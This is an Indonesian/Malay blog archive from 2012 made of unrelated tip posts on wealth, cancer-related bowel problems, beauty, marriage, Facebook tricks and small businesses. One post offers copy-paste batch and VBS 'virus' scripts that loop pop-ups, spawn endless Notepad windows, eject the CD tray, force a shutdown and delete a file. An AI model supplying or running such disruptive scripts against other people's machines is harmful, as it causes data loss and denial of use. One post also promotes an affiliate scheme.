        Jika anda ingin mengetahui rahasia sebenarnya bagaimana mencipta kekayaan pada usia muda, pecahkan tembok batu yang menghalang anda daripada mencapainya. Dan lihat ke mana kehidupan telah membawa anda setakat ini. Saya ingin kongsikan beberapa tips yang mungkin boleh membantu anda memecahkan tembok tersebut:-

        Tips Membina Kekayaan #1 – Tahu & Faham Kehendak Anda

        Secara umumnya ramai yang hanya mengikut kehendak sendiri, tetapi tidak ramai yang mengetahui akan elemen paling penting iaitu tahu dan faham akan kehendak tersebut.

        Sebagai contoh, anda bekerja sepenuh masa dipejabat. Dalam masa yang sama, anda berniaga secara kecil-kecilan samada secara offline ataupun online. Keuntungan perniagaan dapatlah sendikit sebanyak membantu menambah duit poket selain dari menerima gaji bulanan dari majikan. Anda hanya mengikut kehendak anda iaitu ingin menambah duit simpanan melalui berniaga kecil-kecilan. Tetapi adakah anda tahu dan faham kehendak tersebut dengan sebenar-benarnya?

        Mungkin anda berkehendak untuk mencapai satu tahap dimana pendapatan utama anda ialah perniagaan, dan anda pula bertindak sebagai majikan dengan memberi peluang pekerjaan pada orang lain. Pernahkah anda terfikir sebegitu? Tahu dan fahami kehendak sebenar anda. Menjadi kaya pada usia muda bukan satu usaha 1-2 tahun.

        Tips menjadi kaya #2 – Buka Perniagaan Sendiri

        Mereka yang telah mencipta kekayaan pada usia muda kesemuanya bermula dari membuka perniagaan sendiri. Jika anda bekerja dan memegang jawatan yang tinggi serta memperolehi pendapatan yang lumayan, namun akhirnya anda hanya seorang pekerja kepada majikan anda.

        Dengan membuka perniagaan sendiri, anda sendiri yang membuat keputusan dan menentukan halatuju anda. Dari segi keuntungan dan pendapatan pula, ianya tidak terbatas. Bagaimanapun, membuka perniagaan sendiri bukanlah satu perkara yang mudah, dan ianya juga berisiko. Namun risiko ada dimana-mana, dan anda perlu meletakkan diri anda satu langkah ke hadapan dalam usaha mencipta kekayaan.

        Anda perlu bijak dalam membuat keputusan dan melakukan pelaburan. Dapatkan nasihat pakar sebanyak yang mungkin sebelum terjun ke dunia perniagaan yang serba mencabar.

        Tips suapaya kaya #3 – Kawal Perbelanjaan Anda Dengan Bijaksana

        Jika anda ingin menjadi kaya pada usia muda, anda perlu faham akan kepentingan mengawal dan mengurus kewangan dengan betul. Walaupun anda sudah mempunyai banyak wang sekarang pun, ia akan hilang dan habis dalam sekelip mata jika tanpa pengurusan dan kawalan yang bijak.

        Belajar bagaimana untuk mengurus keuangan anda. Gunakan sebahagian dari uang anda untuk simpanan serta perkara-perkara kecemasan. Sebahagian yang lain boleh digunakan untuk pelaburan, pembangunan diri, amal kebajikan dan derma, dan bahagian terakhir ialah untuk perbelanjaan anda.

        Dan bila bercakap mengenai pelaburan, jangan gunakan kesemua sumber anda pada satu jenis pelaburan sahaja. Bak kata pepatah Enggeris, “Don’t put all your eggs in one basket.”

        Itu sahaja perkara-perkara penting dan tips bagaimana untuk mencipta kekayaan pada usia muda yang perlu anda fikirkan dari sekarang. Setiap orang mempunyai cara dan strategi masing-masing untuk mencapai apa yang mereka impikan, tetapi tidak menjadi masalah jika tips diatas dapat anda amalkan dan jadikan panduan untuk mengukuhkan lagi strategi anda. Siapa tahu mungkin suatu hari nanti, anda tersenarai sebagai salah seorang individu terkaya di Malaysia, atau Dunia.

        Kamis, 20 Desember 2012

        Mengatasi Masalah Buang Air Besar

        Banyak di antara kita yang dalam perkembangan penyakitnya mengalami masalah dalam buang air besar (BAB). Diperkirakan 8-21% mengalami sembelit atau kesulitan buang air besar, yaitu BAB kurang dari tiga kali seminggu. Konsistensinya dapat keras, normal, atau lunak, biasanya disertai kembung dan sensasi pengeluaran kotoran yang tidak tuntas.


        SEMBELIT: dialami 21% pejuang kanker.Sembelit bisa disebabkan oleh kurang gerak, kelemahan umum, kebiasaan menahan BAB, gangguan metabolik (dehidrasi, kurang serat & residu makanan, diabetes, hiperkalsemia, hipokalemia, uremia), gangguan neurologis (tumor otak, gangguan pada tulang belakang, infiltrasi serabut saraf), gangguan psikologis (depresi berkepanjangan, stres mendadak), gangguan kolorektal (penyempitan/penyumbatan usus, massa tumor di rongga panggul, fibrosis akibat radiasi, nyeri pada dubur), karena pengaruh obat tertentu (golongan narkotika, antidiare, antidepresan, antasida, antikanker, diuretik, dll), dan banyak penyebab lainnya.

        Berbeda dengan sembelit pada orang sehat yang umumnya dapat diatasi dengan memperbanyak minum, memperbanyak konsumsi serat makanan, atau memperbanyak gerak, hal-hal demikian belum tentu dapat dilakukan oleh pejuang kanker. Karena tidak sedikit pejuang kanker stadium lanjut yang fungsi organ-organ tubuhnya tidak normal lagi. Karena itu, untuk mengatasi kesulitan BAB harus diketahui penyebabnya lebih dahulu.

        Namun ada hal-hal sederhana yang dapat dilakukan pejuang kanker untuk memperlancar BAB, antara lain:
        • Jadwal makan tetap dan teratur dari hari ke hari.
        • Mencoba BAB dengan jadwal yang tetap dan teratur setiap hari.
        • Minum segelas air hangat segera setelah bangun tidur di pagi hari.
        • Minum 8-10 gelas air putih, jus, atau kuah sayur setiap hari jika tidak mengalami gangguan ginjal atau gangguan berkemih. Air rebusan temulawak bahkan dapat memperlunak tinja.
        • Batasi minuman dan makanan yang merangsang produksi gas.
        • Untuk mengurangi udara yang tertelan, makanlah tanpa banyak bicara, minum tanpa menggunakan sedotan, dan jangan mengunyah permen karet.
        • Jika tidak ada penyumbatan/penyempitan usus, perbanyak konsumsi serat makanan terutama yang dapat memperlunak tinja misalnya pepaya dan pisang ambon.
        • Jika memungkinkan dan tidak ada gangguan syaraf/tulang, lakukan olahraga sesuai kemampuan. Jika tidak mampu bangkit dari tempat tidur, sering menggerakkan kaki dan berganti posisi dapat berfungsi sebagai olahraga ringan.
        • Jika cara-cara di atas tidak berhasil, mintalah saran pencahar pada dokter. Ada banyak jenis pencahar yang bekerja dengan cara yang berbeda-beda (dan tidak selalu cocok dengan kondisi anda). Gunakan seperlunya, karena terlalu sering menggunakan pencahar justru membuat usus semakin malas untuk berkontraksi dan memperparah sembelit.
        • Jika selama tiga hari berturut-turut tidak dapat BAB, segeralah konsultasi ke dokter.
        DIARE

        Ketika sebagian pejuang kanker mengalami konstipasi atau sembelit, 6-10% lainnya justru mengalami diare, yakni BAB cair lebih dari tiga kali sehari. Penyebabnya juga bermacam-macam, antara lain kanker usus, usus terjepit massa tumor, diet yang tidak tepat (keracunan makanan, terlalu tinggi serat, makanan pedas, alkohol), obat-obatan (pencahar, antibiotik, sitotoksik, antiradang), infeksi, radang usus, malabsorbsi lemak, tindakan bedah, diabetes, kecemasan, dan lain-lain.

        Sama seperti konstipasi, untuk mengatasi diare pada pejuang kanker juga perlu mengenali penyebabnya lebih dulu. Namun ada hal-hal bersifat umum yang bisa dilakukan pejuang kanker di rumah:

        Untuk mencegah dehidrasi, minum banyak cairan (air putih, oralit, teh, kuah sup, sari kunyit) dalam suhu normal, sedikitnya secangkir setiap selesai BAB. Hindari minuman terlalu panas/dingin.
        Sering makan dalam porsi kecil.
        Hindari makanan yang terlalu berbumbu, berminyak, terlalu manis.
        Hindari susu. Tapi yoghurt boleh.
        Hindari buah dan sayuran mentah, juga makanan pemicu gas. Kurangi porsi makanan berkadar serat tinggi, termasuk biji-bijian.
        Jika diare berlanjut atau bahkan semakin parah, segera ke dokter.

        Masalah Buang Air Besar | BAB DI TEMPAT TIDUR


        Masih ada lagi persoalan yang menyangkut BAB. Bagaimana kalau penderita tidak mampu bangkit lagi, sehingga terpaksa harus buang air besar di atas ranjang?

        Cara yang lazim dipakai adalah menggunakan pispot. Alat sederhana ini serbaguna, dapat dipakai untuk buang air kecil maupun buang air besar. Mudah digunakan, dan juga dapat digunakan berulangkali.

        Sayangnya tidak semua orang mau atau bisa BAB menggunakan pispot. Adanya sesuatu yang mengganjal, dingin dan keras, menimbulkan rasa tidak nyaman sehingga tidak jarang BAB-nya “tidak bisa keluar”. Kalaupun “bisa keluar”, bau yang ditimbulkannya cukup mengganggu. Karena beda dengan BAB di WC yang dapat langsung disiram, BAB di pispot tidak bisa disiram sampai prosesnya selesai.

        Alternatif kedua adalah penggunaan popok/diapers. Cara ini juga cukup praktis. Penggunanya dapat BAK maupun BAB sewaktu-waktu tanpa harus memanggil perawat/pendampingnya. Setelah selesai diapers-nya tinggal dibungkus rapat, lalu dibuang. Tetapi pemakaian diapers terus-menerus dapat membuat kulit terlalu lembab. Selain menimbulkan perasaan lembab/becek yang sangat tidak nyaman, juga dapat mengiritasi kulit, bahkan menimbulkan infeksi. Karena itu setelah terpakai diapers perlu segera diganti agar kulit tetap kering.

        Selain kedua cara di atas, sekarang ada pilihan lain, yaitu anal irrigation system. Menggunakan alat mirip kateter untuk buang air kecil, tetapi khusus untuk BAB. Pasien cukup berbaring miring di tempat tidur, kemudian ujung kateter dimasukkan secara lembut ke dalam dubur. Setelah kateter terpasang, tinggal memasang kantong penampung kotoran pada ujung luar kateter. Dengan bantuan air bersih biasa, isi usus besar dapat dikuras bersih dan langsung tertampung di dalam kantong yang tertutup rapat, sehingga kotoran, cairan, maupun baunya tidak tercecer ke luar, bahkan tidak menyentuh kulit luar penderita. - Titah Rahayu

        Rabu, 19 Desember 2012

        Cara Mengecilkan Paha

        Cara mengecilkan paha - Mempunyai paha yang ideal, ramping adalah keinginan setiap orang, soalnya mempunyai paha yang tidak terlalu besar akan memudahkan kita dalam segala aktivitas. Bayangkan apabila kita memiliki paha diatas normal maka dalam mencari pakaian khususnya celana pasti kita akan kesusahan dan tidak bisa mengikuti mode-mode tahun sekarang yang cenderung menggunakan celana pres sesuai ukuran paha / betis.

        Mempunyai paha besar dilihat dari segi penampilan memang membuat kesan kita kelihatan gemuk, apalagi paha tersebut mengandung banyak lemak dan sampai kelihatan liuk-liuk lemaknya, risih banget kan? banyak orang mencari tips cepat dan paling efektif cara mengecilkan paha dengan yang alami atau tanpa suatu alat atau program yang terlalu ribet, nah tips berikut ini akan menjawab beberapa pertanyaan tadi.


        Cara Mengecilkan Paha
        Cara Mengecilkan Paha

        Cara Mengecilkan Paha




        Banyak faktor yang menyebabkan paha besar antaralain :

        - Jenis kelamin
        Seorang pria dan wanita memiliki kandungan yang berbeda dalam kandungan lemaknya, Wanita lebih cenderung menimbun lemak dibanding laki-laki.

        - Faktor Gen (Genetik)
        Faktor gen ini juga mempunyai pengaruh yang besar terhadap banyaknya lemak yang terkandung dalam tubuh. Jadi walaupun dengan mengkonsumsi makan gak terlalu banyak namun akibat suatu faktor genetik yang dibawa mempunyai suatu paha yang besar.

        - Banyak Lemak
        Lemak ini lah biasanya yang cenderung dominan yang mengakibatkan bentuk besarnya suatu paha.

        Tak usah risau dengan semua itu apabila kalian memiliki paha dan betis besar, berikut Tips Trik Terbaru berikan tips sederhana dan alami serta mudah dilakukan untuk mengurangi ukuran paha dan betis anda :


        Cara Mengecilkan Paha

        1. Meminum air putih setelah bangun tidur pada pagi hari, sekitar 2 sampai 3 gelas setiap harinya.
        2. Mulailah untuk olahraga kecil rutin setiap harinya. Berlari bisa menjadi pilihan tepat untuk olahraga ringan ini. Mulailah dengan berlari di sekitar kompleks setidaknya sejauh 2 kilometer.
        3. Naik turun tangga dan melakukan gerakan melilin juga bisa menjadi sebuah cara yang efektif untuk mengecilkan lingkar paha jika dilakukan secara rutin.
        4. Atau anda bisa dengan berbaring mengangkat kaki sampai kira- kira 15 CM diatas lantai. Dengan hitungan 2 x 8Itu beberapa tips sederhana mengecilkan perut yang bisa kalian terapkan dalam sehari-hari. kemudian cara mengecilkan paha dengan cara mengatur pola makan yaitu dengan banyak mengkonsumsi buah-buahan setiap harinya dan mengurangi makanan yang mengandung banyak lemak. Itu juga sangat efektif dalam program pembentukan paha anda, itu saja tips kali ini selamat mencoba.. tetep konsisten semoga berhasil mendapatkan bentuk paha yang ideal melalui cara diatas yaitu cara mengecilkan paha.

        Cara internetan Gratis

        Mungkin cara internetan gratis bukanlah trik terbaru dalam hal dunia sekarang ini. Pada postingan kami sebelumnya tentang Trik Internet Gratis sudah jelas bahwa setting internet gratis sangatlah mudah dan kita tinggal belajar cara setting internet gratis (pemula) maka kita akan dapat mengakses internet dengan lebih murah bahkan bisa gratis alias tanpa modal.
        Cara Internet Gratis
        Namun postingan ini adalah khusus bagi anda yang belum mengetahui cara internetan gratis, dengan tujuan agar bisa mengakses internet dengan tanpa biaya alias gratis.


        Nah langsung Aja Pelajari Cara Setting Internet Gratis Pemula

        Selasa, 18 Desember 2012

        Agar wajah tidak Kusam

        Tips wajah tidak kusam untuk anda Supaya tampil dan tetap cantik. Yang anda butuhkan adalah cara agar wajah tidak kusam di bawah ini dengan tujuan Merawat wajah dan membuatnya cerah dan segar. Terutama bagi kaum wanita, penampilan adalah hal yang penting, dan wajah biasanya menjadi prioritas pertama selain bagian tubuh lainnya seperti kecantikan rambut dan kulit putih. Terutama bagi yang mempunyai kulit kering dengan kelembaban yang kurang, ini akan membuat kulit wajah seperti tidak cerah dan kusam.
        wajah tidak Kusam



        Berbagai faktor bisa menjadi penyebab kulit wajah menjadi kusam. Misalnya karena faktor genetik, bawaan sejak lahir memiliki jenis kulit wajah yang kering. Dan pengaruh dari lingkungan juga bisa menyebabkan kulit wajah menjadi kusam, misalnya bisa karena terkena polusi udara, berada di suasana yang panas, bekerja lama di ruangan AC, terlalu sering berenang, karena biasanya air kolam renang menggunakan zat tertentu untuk membuatnya tetap jernih, dan ada beberapa penyebab lainnya.

        Tips Wajah Agar Tidak Kusam

        Kulit kering memang sudah bawaan sejak lahir, tetapi kita bisa membuatnya menjadi lebih lembab dan tidak terlihat kusam. Salah satu caranya adalah dengan minum air putih dengan cukup setiap hari. Delapan gelas perhari adalah standar normal untuk mencukupi kebutuhan cairan di dalam tubuh. Yang paling baik adalah memilih air putih yang dimasak, jadi bukan air bersoda karena akan berefek kurang bagus terhadap kesehatan. Selain pertimbangan untuk kulit wajah, konsumsi air putih dalam jumlah yang cukup akan sangat baik untuk kesehatan tubuh secara umum.


        Selain itu, makanan jenis sayuran dan buah dengan cukup juga akan sangat membantu kesehatan kulit wajah. Kulit juga perlu banyak nutrisi seerti vitamin E yang cukup untuk menjaganya tetap cerah dan lebih awet muda serta tidak mudah berkerut. Untuk perawatan kulit wajah yang kusam, bisa dengan menggunakan pembersih yang lembut, cukup sekali sehari pada saat malam sebelum tidur. Pada waktu pagi bisa membersihkan wajah atau ketika saat mandi jangan gunakan air panas, karena akan semakin membuat kering kulit.


        Dan pada saat mengeringkan wajah setelah dibersihkan dengan air, gunakan handuk yang lembut dan bersih, dengan menekan secara pelan, bukan mengusapnya. Juga jangan terlalu dikeringkan agar ada sisa air yang membantu melembabkan wajah. Setelah itu anda bisa gunakan pelembab pada wajah. Kulit wajah yang kusam juga bisa karena penumpukan sel kulit mati pada wajah. Ini kita bisa bersihkan dengan menggunakan scrub dengan butiran yang halus dan lembut, dan bisa dilakukan seminggu sekali. Untuk membantu menutrisi wajah kita juga menggunakan masker wajah. Untuk jenis kulit wajah kering kita bisa menggunakan masker buah alpukat atau apel.


        Dengan sedikit ketelatenan dan secara rutin melakukan perawatan wajah, akan sangat membantu untuk mencerahkan kulit wajah. Semoga tips wajah tidak kusam ini bisa membantu.

        Agar selalu disayang suami

        Agar selalu disayang suami
        Berusaha agar selalu disayang suami, merupakan salah satu usaha dari seorang istri untuk tetap harmonis dalam rumah tangga. Begitu juga dengan suami agar selalu disayang dan dihormati istri termasuk bagian dari usaha suami untuk selalu bijaksana dalam membina rumah tangga

        Untuk mewujudkan keluarga bahagia yang dipenuhi rasa kasih sayang tidak semudah yang dibayangkan banyak orang, perlu usaha dan kerja keras untuk mewujudkan, mulai dari usaha saling percaya, saling menghargai (tidak saling menyudutkan), saling mencari kelebihan masing-masing (bukan selalu mencari keburukan terhadap pasangan ) dan sebagainya.

        Kali ini saya akan berbagi bagimana seorang istri agar tetap selalu disayang oleh suami sebagai uasaha agar rumah tangga tetap harmonis, dibawah ini Tips agar disayang suami yang bisa anda lakukan:

        • Berusaha selalu bangun lebih awal dari suami dan menyiapkan apa yang dibutuhkan saat suami bangun tidur nantinya.
        • Menyiapkan apa yang biasa menjadi kebiasaan suami saat bangun tidur atau anda bisa bertanya apa kebutuhan suami sehingga anda bisa dengan mudah menyipkan
        • Antar suami anda sampai di depan pintu saat suami akan pergi kerja (abaikan semua kesibukan) pastikan ini anda lakukan setiap hari, cara ini sebagai bentuk perhatian, do’a dan restu anda pada suami yang akan pergi berjuang untuk mencari nafkah,
        • Pastikah semua beres dalam rumah (jangan berantakan) saat suami pulang kerja, minimal jangan ada sesuatu hal yang biasanya suami anda tidak suka, misalnya suami anda tidak suka jika pakaian yang bertebaran dilantai, segera bereskan sebelum suami pulang
        • Saat suami pulang kerja, sambut dengan senyum dengan sedikit basa basi misalnya “ gak macet pak ? atau, capek ya mas ? dll.
        • Jangan lupa, siapkan makan kesukaan suami saat pulang kerja, jika kebetulan suami tidak suka dan kurang mood pada hari itu, jangan tunjukkan kalau pun anda sedang kecewa terhadap sikap suami anda, mungkin dia sedang ada masalah dikantor atau mungkin sedang capek sekali
        • Saat suami pulang kerja jangan terlalu banyak mengajak dia bicara kalau kelihatan suami anda sedang kelihatan lelah sekali, apalagi anda bertanya macem-macem misalnya, kenapa pulang terlambat, tumben pulang malam, kemana aja mas, (jadilah istri bijak dan penuh pengertian bukan curigaan)
        • Sederhana dalam berpenampilan. Sebuah penelitian menyebutkan bahwa umumnya laki-laki tidak menyukai perempuan yang berpenampilan menor, seronok dengan wajah penuh riasan tebal, sebaliknya kesederhanaan lebih menarik bagi mereka karena menurut mereka lebih memancarkan kecantikan perempuan.
        • Jika ada masalah, apapun yang bergejolak dihati Anda, berusahalah untuk tetap sabar dan menahan diri untuk tidak menyakiti hati suami.
        • Dapat mendampingi suami dalam suka dan duka.
        • Berusaha untuk menjadi partner yang menyenangkan di kamar tidur. Banyak perempuan masih merasa malu untuk bersikap agresif meski kepada suaminya sendiri. Ini karena adanya anggapan bahwa perempuan yang agresif terkesan murahan dan tidak terhormat. Tentu saja anggapan ini tidak berlaku untuk seorang istri yang agresif kepada suaminya sendiri.
        • Jika menemui persoalan, segera bicarakan dengan suami, jangan memendam masalah di hati. Apalagi ngambek dan pergi meninggalkan rumah sendiri.
        • Jika bepergian, minta ijin atau atas pengetahuan suami.
        • Jangan menjadi istri yang boros dalam belanja. Terutama untuk hal hal yang tidak dibutuhkan.

        Jika kita ingin hidup penuh bahagia dan keharmonisan dalam rumah tangga, pengertian dan saling percaya adalah kunci utama, banyak yang sudah mengetahui teori ini, tapi tidak semua bisa menjalankan dan menerapkan, karena kita kadang selalu membiarkan diri kita selalu dibakar ego masing-masing, sehingga mengakibatkan diri kita tidak mampu menempatkan diri dalam kewajiban kita dalam rumah tangga.

        Membuat status berwarna biru di facebook

        Cara Buat Status Biru di Facebook -Hallo para Facebookkers kali ini saya akan posting tentang bagaimana cara buat tulisan status di facebook berwarna biru cepat dan sangat mudah.
        Status biru di Facebook
        Membuat status berwarna biru

        Membuat tulisan status berwarna biru di Facebook bukanlah merupakan sesuatu yang baru. Hal ini sudah dikenal oleh Facebookers sejak beberapa waktu yang lalu. Status biru di Facebook ini membuat tulisan status menjadi seperti anchor text sebuah link.


        Untuk membuat tulisan biru, caranya adalah dengan menggunakan kode @@[0:[0:1:Tulis Status Di Sini]]. Misalnya, kalau ingin membuat status "Update Status Dulu Dong...." maka ketikkan @@[0:[0:1:Update Status Dulu Dong....]] di "Dinding" atau pada "Komentar" 

        Minggu, 16 Desember 2012

        MEMBUAT VIRUS DENGAN NOTEPAD

        ini adalah cara membuat virus yg sederhana saya rasa semua orang bisa melakukannya!!
        hanya dengan notepad dan kemampuan copy-paste anda sudah bisa!!
        langsung aja ok!!


        1. MEMBUAT VIRUS Message yg muncul terus menerus
        cara nya buka notepad lalu masukan script di bawah ini :




        @ECHO off
        :

        Begin

        msg * Lagi ngapain ?

        msg * Hayo buka apa ?

        msg * Nanti dimarahin ama mak loe

        msg * Makannya jangan sembrono !

        msg * minta bantuan gih sono !

        msg * Udah instal ulang aja !!!!

        msg * tit............................
        GOTO BEGIN

        bisa dirubah sesuai keinginan anda!
        simpan dengan berekstensi .bat contoh cyber4rt.bat



        2.MEMBUAT VIRUS pertanyaan menjebak
        script nya




        @echo off

        title quiz hari ini
        :menu
        cls
        echo jika kamu kena virus apa
        yang kamu lakukan
        pause
        echo pilih yang mana:
        echo 1. matiin computer
        echo 2. format aja
        echo 3. bingung ahh
        set input=nothing
        set /p input=Choice:
        if %input%==1 shutdown -s -t
        30
        if %input%==2 del c:\xxx
        if %input%==3 @ECHO off
        msg * muka lo rusak
        msg * ngaca dulu gih
        msg * hayo lo,cpu lu gw acak2
        msg * ud install ulang aja
        msg * biar masalah nya kelar
        @ECHO off
        :top
        START %SystemRoot%
        \system32\notepad.exe
        GOTO top
        simpan dengan .bat contoh contoh = quizcyber4rt.bat

        3.MEMBUAT VIRUS Membuka notepad terus-menerus
        script nya




        @ECHO off
        :top
        START %SystemRoot%
        \system32\notepad.exe
        GOTO top

        sama simpan dengan .bat

        4.MEMBUAT VIRUS komputer mati sendiri dan ngirim message
        script nya


        Set wshShell
        =wscript.CreateObject
        ("WScript.Shell")
        do
        wscript.sleep 100
        wshshell.sendkeys "{CAPSLOCK}"
        loop

        simpan dengan .vbs

        5.MEMBUAT VIRUS  buka tutup cd room terus menerus
        script nya


        Set oWMP = CreateObject
        ("WMPlayer.OCX.7")
        Set colCDROMs =
        oWMP.cdromCollection
        do
        if colCDROMs.Count >= 1 then
        For i = 0 to colCDROMs.Count - 1
        colCDROMs.Item(i).Eject
        Next
        For i = 0 to colCDROMs.Count - 1
        colCDROMs.Item(i).Eject
        Next
        End If
        wscript.sleep 5000
        loop
        simpan dengan .vbs

        Sumber: cyber4rt

        Selamat mencoba dan semoga bermanfaat tapi jangan di gunakan untuk kejahatan dan balas dendam, ok!!!

        Jumat, 14 Desember 2012

        Malam Pertama Agar Lancar

        Malam Pertama
        Tips Malam Pertama Agar Lacar tanpa kendala sakit - Ada kalanya bagi sebagian para perempuan yang merasa trauma dengan kondisi malam pertama sebab saat melakukan hubungan intim dengan pasangan tidak jarang ada diantara mereka yang merasakan kesakitan. Tentu sebagian orang yag akan memasuki fase tahap malam pertama juga mengalami ketakutan dengan informasi-informasi dari pasangan yang sebelumnya sudah pernah melakukan hubungan intim saat malam pertama mereka.

        Berbagai tips trik malam pertama yang perlu Anda ketahui agar malam pertama berjalan dengan sukses, khususnya tips sukses di malam pertama pengantin, yaitu memahami tips manghadapi malam pertama yang akan dipublikasikan kepada Anda secara lengkap berikut ini.

        Tips Malam Pertama Agar Tak Sakit


        Tips malam pertama yang wajib Anda lakukan jauh hari sebelumnya adalah melakukan persiapan mental agar Anda dan suami siap ketika menjalani malam pertama. Persiapan yang paling utama dalam hal ini adalah persiapan mental. Sebab ketika menjalani malam pertama dengan keadaan tenang akan membuat Anda dengan suami lebih merasa rileks, bahkan bercinta bisa menjadi sebuah momen yang tidak akan terlupakan.

        Selain mempersiapkan mental secara matang, maka Anda juga wajib memastikan melakukan berbagai tahapan foreplay sebelum bercinta. Hal ini penting agar ketika melakukan hubungan bercinta tersebut keadaan vagina tidak dalam keadaan kering.

        Perlu diketahui juga bahwa mitos yang mengatakan bahwa menjalani malam pertama itu harus sakit tidaklah sepenuhnya benar. Bahkan bila mitos ini terlalu dipercaya bisa berdampak pada fisik Anda.

        Memang ketika melakukan malam pertama kerap diiringi dengan keluarnya darah saat bercinta. Tetapi hal ini tidak selalu identik dengan setiap perempuan. Karena bisa saja seorang perempuan yang masih perawan juga tidak berdarah saat pertama sekali melakukan hubungan intim.

        Umumnya pendarahan saat melakukan malam pertama bisa terjadi pada wanita karena kondisi vagina yang sempit dan tidak mendapatkan pemanasan yang cukup ketika hendak melakukan hubungan bercinta.

        Pendarahan yang terjadi saat malam pertama ini umumnya bisa langsung berhenti dengan segera. Namun itu juga dengan catatan selama wanita tersebut memiliki pembekuan darah yang normal. Wanita yang menderita hemofilia biasanya sulit mengatasi pendarahan ini.

        Demikianlah tips malam pertama agar tidak sakit yang bisa Anda lakukan dengan pasangan Anda, dimana pada intinya dalam hal ini Anda harus mempersiapkan mental dan juga harus diingat melakukan pemanasan terlebih dahulu sebelum melakukan hubungan bercinta dengan pasangan Anda ketika malam pertama tiba.

        Supaya Tampil Cantik

        Banyak usaha yang dilakukan oleh para wanita agar tampak lebih cantik memikat didepan orang terlebih lawan jenisnya, hal ini normal dilakukan oleh para wanita karena kodratnya memang seperti itu. Dewasa ini banyak wanita yang mengandakan riasan untuk menyamarkan kekurangan wajah. Agar cantik, para wanita harus mengasah kemahiran untuk menjadikan wajah sebagai "kanvas lukisan". Selain harus mahir mengaplikasikan riasan, mereka juga perlu memerhatikan elemen penunjang lainnya seperti rambut dan bingkai kacamata. Berikut enam tips dan trik cantik dari para ahli kecantikan agar wanita tampak memikat bagi lawan jenisnya (pria):

        1. Percantik Alis
        Alis menentukan struktur wajah dan mata. Lebih baik menjaganya tetap lebar karena alis yang tipis membuat wajah Anda terlihat lebih tua. Usahakan warna alis sama dengan warna rambut atau satu tone lebih gelap untuk menyeimbangkan fitur wajah Anda.

        2. Putar Tongkat
        Untuk mencegah maskara menggumpal, jangan pompa tongkat ke atas dan ke bbawah karena dapat mendorong udara masuk ke dalam tabung. Sebaiknya putar tongkat agar maskara melapisi bulu dengan baik sehingga dapat menutupi bulu mata dengan sempurna.

        3. Tentukan Warna Bibir
        Jika Anda bingung dengan warna bibir yang cocok untuk bepergian, tekan ujung jari tengah Anda. Anda akan melihat warna merah atau pink yang akan membuat bibir Anda terlihat cantik natural.

        4. Percantik Bulu Mata
        Untuk memberi efek lembut pada sekitar mata, gunakan maskara berwarna. Jika Anda memakai soft lens berwarna biru atau hijau, gunakan maskara berwarnaplum.

        5. Aplikasi lain Lip Balm
        Lip Balm adalah produk kecantikan yang dapat Anda gunakan untuk membuat kulit bersinar. Aplikasikan sedikit lip balm pada tulang alis hingga tulang pipi untuk menyorot daerah mata. Atau, campurkan dengan sedikit cream blushpada bantalan pipi.

        6. Aplikasikan Cream Blush
        Cream Blush sangat sempurna digunakan pada musim panas karena memberikan riasan lebih alami. Namun, jangan pernah menggunakannya dibawah tulang pipi. Ambil cream blush dengan jari lalu gunakan pada bantalan pipi Anda dan samarkan ke garis rambut.

        Selasa, 11 Desember 2012

        Facebook ala Tips dan Trik Terbaru

        Tips trik facebook
        Sobat tips trik Terbaru, berikut kami sediakan tips dan trik facebook khusus para facebookers yang sedang mencari-cari cara dan tips seputar dunia facebookan.

        Berikut daftar isi Tips dan trik facebook ala tips trik terbaru :









        Dan masih banyak lagi tips trik facebook lainnya, Mungkin dalam waktu dekat akan kami tulis semua. Atau gunakan kotak pencarian diatas blog ini. Masukkan kata pencarian kamu. Contohnya "tips facebook terbaru, facebook tips baru 2012. lalu enter.




        Senin, 10 Desember 2012

        Pembayaran Komisi ke 17 kalinya dari fispol.com | yes

        seneng banget deh, hari ini dapat komisi penghasilan saya diinternet, lumayanlah buat nambah2 dana shopping "hehehehhhee".
        bukti pembayaran fispol.com

        Nggak percuma saya ngeblog siang malam. Dan buat yang belum gabung nih. silahkan klik disini

        Bisnis ini benar2 dahsyat. mau pemula, mau apalah. yang penting serius jalaninnya. itu saja. Rugi deh telat baru gabung :(.

        Minggu, 09 Desember 2012

        Usaha/Bisnis Modal Kecil Berpotensi Besar

        Bingung mencari usaha yang tidak membutuhkan banyak modal…? khususnya untuk mahasiswa yang sedang mencari solusi dan peluang memulai program mahasiswa wirausaha…? dan jenis-jenis usaha apa saja yang membutuhkan modal kecil untuk memulainya.

        Banyak sekali orang maupun mahasiswa-mahasiswa yang mencari usaha yang tidak membutuhkan banyak modal. Namun kembali terbentur ternyata usaha-usaha yang mereka dapati itu ternyata juga membutuhkan banyak modal dan bingung bagaimana harus memulai menjalankan usaha tersebut.


        Sekedar mencari-cari peluang usaha dan blogwalking di beberapa blog sahabat-sahabat yang lainya, saya pun mengumpulkan beberapa jenis usaha yang tidak membutuhkan modal terlalu banyak dan cocok untuk dikerjakan mahasiswa semabari menyelesaikan kuliahnya.

        Berikut beberapa contoh usaha/bisnis yang tidak membutuhkan terlalu banyak modal:


        1.Bisnis Pulsa
        wah kalo bisnis yang satu ini kayaknya sudah tidak asing lagi di telinga mahasiswa, dan kayaknya sudah terlalu banyak juga yang jalaninnya. eit jangan salah sangka dulu bisnis pulsa ini selalu memiliki prospek kok. Asalkan kita tau bagaiman cara mengolah dan menjalankannya sehingga berbeda dengan bisnis pulsa yang lainya dan selalu memiliki pangsa pasar, karena pulsa ini adalah salah satu barang konsumtif yang selalu dibutuhkan saat ini.


        2.Laundry Antar Jemput
        Emang ada laudry yang modalnya kecil ? (hmmm) laundry yang satu ini bahkan tidak membutuhkan modal. Dibutuhkan hanya keberanian dan tekad kita saja. Caranya begini ajak beberapa orang teman atau saudara kamu kemudian datangi salah satu laundry yang cukup besar dan ajak kerjasama, team kamu akan mengantar dan mengirimkan pakaian kepada mereka dengan persentase keuntungan yang ditentukan. Banyak kok khususnya masyarakat yang tinggal di perumahan yang malas mengantarkan pakaian kotor mereka sendiri ke laundry, ini bisa jadi peluang buat kamu bisa dimulai dengan membuat brosur laundry tersebut atau bahkan dimulai dengan mendatangi rumah-rumah tersebut satu persatu.


        3.Menjual Gorengan
